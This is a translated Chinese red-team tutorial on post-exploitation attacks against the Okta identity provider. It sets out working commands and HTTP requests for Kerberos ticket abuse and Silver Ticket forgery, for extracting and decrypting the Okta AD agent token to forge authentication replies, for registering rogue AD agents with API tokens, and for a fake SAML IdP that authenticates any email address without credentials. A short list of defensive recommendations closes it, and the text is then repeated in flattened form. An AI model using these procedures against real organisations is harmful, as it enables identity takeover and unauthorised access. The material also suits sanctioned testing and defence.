【翻译】红队的新目标Okta
字数 1009 2025-08-22 12:22:59

Okta红队攻击技术详解

0x00 前言

随着企业将安全负担委托给云服务,Microsoft Entra ID和Okta等身份提供商(IDP)的使用变得普遍。红队需要将注意力转移到这些云服务上。本文详细介绍了针对Okta的后期利用技术,所有技术都是基于合法功能设计的,不涉及0day漏洞,但许多需要管理权限。

0x01 Okta委托认证攻击

检测委托认证是否启用

  1. DNS查询方法
dig tenantname.kerberos.okta.com

如果返回A记录,则说明已启用。

  1. LDAP查询方法
servicePrincipalName=HTTP/customername.kerberos.okta.com

如果有账户返回,则说明已启用。

利用委托认证

  1. 获取TGS票据:
getST.py -spn HTTP/clientname.kerberos.okta.com -dc-ip 1.2.3.4 LAB/comprommiseduser
  1. 使用Rubeus或Mimikatz注入票据

  2. 确保clientname.kerberos.okta.com在IE的"内网"安全区域

  3. 访问Okta仪表板,确认通过Kerberos登录

Silver Ticket攻击

如果获取了委托认证SPN的服务账户,可进行Silver Ticket攻击:

ticketer.py -domain-sid S-1-5-21-4170871944-1575468979-147100471 -domain lab.local -dc-ip DC01 -aesKey db22ab9c89f2f0d545024f9dfabbed44173397065d8f5b7e172200ca38ed4393 -user-id 1118 -spn HTTP/example.kerberos.okta.com testuser

0x02 劫持Okta AD代理

获取代理令牌

  1. 定位代理安装目录:
C:\Program Files (x86)\Okta\Okta AD Agent
  1. 查看OktaAgentService.exe.config文件,寻找Base64编码的AgentToken

  2. 使用DPAPI解密令牌(需要服务账户上下文):

Add-Type -AssemblyName 'System.Security'
$rand = [byte]174,53,167,191,10,250,125,232,223,147,248,86,65
$k = [System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String("AQAAANCMnd8BFdERjH..."), $rand, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
[System.Text.Encoding]::Unicode.GetString($k)

利用代理令牌

  1. 构造API请求获取认证信息:
GET /api/1/internal/app/activedirectory/[APPID]/agent/[AGENTID]/nextAction?agentVersion=1&pollid=anything HTTP/1.1
Host: client.okta.com
Authorization: SSWS 00OfIl_Gi1rZu1NETmHo6auU6YZEOEn8ZlDhyqstiZ
  1. 伪造认证响应:
POST /api/1/internal/app/activedirectory/0oa7c027u2tcjxoki697/agent/a537ca54okqfsuu0s697/actionResult?responseid=12345 HTTP/1.1
Host: client.okta.com
Authorization: SSWS 00JFtjd...WgkeI1Eg5Y
Content-Type: application/xml; charset=utf-8
Content-Length: 1362

<agentActionResult xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" actionId="rpc::app.active_directory.agent.reply.ok14-majorecs04a.auw2-ok14.internal//1694301421033//ZPz86MzEBzhpMhSFWzyK5wAAA_Q:440a7d52-704b-4c1b-ac79-afdc241e3080:">
...
</agentActionResult>

0x03 以管理员身份劫持AD

创建API令牌

  1. 获取OAuth Code:
https://example.okta.com/oauth2/authorize?redirect_uri=%2Foauth-response&response_type=code&client_id=cappT0Hfy97F1BoO1UTR&prompt=select_account
  1. 使用code获取API令牌:
POST /oauth2/token HTTP/1.1
Host: example.okta.com
Content-Type: application/x-www-form-urlencoded

grant_type=api_token&code=7vzn01sl&client_id=cappT0Hfy97F1BoO1UTR

关联AD域

  1. 关联AD域:
POST /api/1/internal/app/activedirectory/ HTTP/1.1
Host: example.okta.com
Authorization: SSWS 00456b2Lllk2KqjLBvaxANWEgTd7bqjsxjo8aZj0wd

<domain name="lab.local"/>
  1. 命名连接器:
POST /api/1/internal/app/activedirectory/0oa4jsza16ar1UdaW196/agent?name=DC02 HTTP/1.1
Host: example.okta.com
Authorization: SSWS 00456b2Lllk2KqjLBvaxANWEgTd7bqjsxjo8aZj0wd
  1. 初始化连接:
POST /api/1/internal/app/activedirectory/0oa4jsza16ar1UdaW196/agent/a532camqiqXMhlOf5697/actionResult?agentVersion=3.13.0.0 HTTP/1.1
Host: example.okta.com
Authorization: SSWS 00456b2Lllk2KqjLBvaxANWEgTd7bqjsxjo8aZj0wd

<agentActionResult xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
...
</agentActionResult>

0x04 伪造SAML IDP

设置伪造IDP

  1. 在Okta中创建SAML 2.0 IDP

  2. 配置IDP:

    • 名称:任意友好名称
    • 发行者URL:如https://www.example.com
    • IdP单点登录URL:指向伪造SAML服务器
    • 匹配规则:设置为Okta用户名或电子邮件
    • 账户关联策略:设置为自动
  3. 生成自签名证书:

openssl req -x509 -newkey rsa:2048 -sha256 -days 365 -nodes -keyout example.com.key -out example.com.crt
  1. 上传证书到Okta并创建IDP

利用伪造IDP

  1. 修改本地hosts文件(如需):
echo '127.0.0.1 idp.google.com' | sudo tee -a /etc/hosts
  1. 启动伪造SAML服务器

  2. 导航到断言消费者服务URL触发认证流程

  3. 提供任意电子邮件地址,无需真实凭证即可认证

防御建议

  1. 监控异常Kerberos票据请求
  2. 保护Okta AD代理服务器
  3. 定期轮换代理令牌
  4. 监控IDP配置变更
  5. 实施多因素认证
  6. 限制管理权限
  7. 监控异常SAML认证活动

这些技术展示了攻击者如何利用Okta的合法功能进行攻击,企业应加强对这些活动的监控和检测能力。

Okta红队攻击技术详解 0x00 前言 随着企业将安全负担委托给云服务,Microsoft Entra ID和Okta等身份提供商(IDP)的使用变得普遍。红队需要将注意力转移到这些云服务上。本文详细介绍了针对Okta的后期利用技术,所有技术都是基于合法功能设计的,不涉及0day漏洞,但许多需要管理权限。 0x01 Okta委托认证攻击 检测委托认证是否启用 DNS查询方法 : 如果返回A记录,则说明已启用。 LDAP查询方法 : 如果有账户返回,则说明已启用。 利用委托认证 获取TGS票据: 使用Rubeus或Mimikatz注入票据 确保 clientname.kerberos.okta.com 在IE的"内网"安全区域 访问Okta仪表板,确认通过Kerberos登录 Silver Ticket攻击 如果获取了委托认证SPN的服务账户,可进行Silver Ticket攻击: 0x02 劫持Okta AD代理 获取代理令牌 定位代理安装目录: 查看 OktaAgentService.exe.config 文件,寻找Base64编码的AgentToken 使用DPAPI解密令牌(需要服务账户上下文): 利用代理令牌 构造API请求获取认证信息: 伪造认证响应: 0x03 以管理员身份劫持AD 创建API令牌 获取OAuth Code: 使用code获取API令牌: 关联AD域 关联AD域: 命名连接器: 初始化连接: 0x04 伪造SAML IDP 设置伪造IDP 在Okta中创建SAML 2.0 IDP 配置IDP: 名称:任意友好名称 发行者URL:如 https://www.example.com IdP单点登录URL:指向伪造SAML服务器 匹配规则:设置为Okta用户名或电子邮件 账户关联策略:设置为自动 生成自签名证书: 上传证书到Okta并创建IDP 利用伪造IDP 修改本地hosts文件(如需): 启动伪造SAML服务器 导航到断言消费者服务URL触发认证流程 提供任意电子邮件地址,无需真实凭证即可认证 防御建议 监控异常Kerberos票据请求 保护Okta AD代理服务器 定期轮换代理令牌 监控IDP配置变更 实施多因素认证 限制管理权限 监控异常SAML认证活动 这些技术展示了攻击者如何利用Okta的合法功能进行攻击,企业应加强对这些活动的监控和检测能力。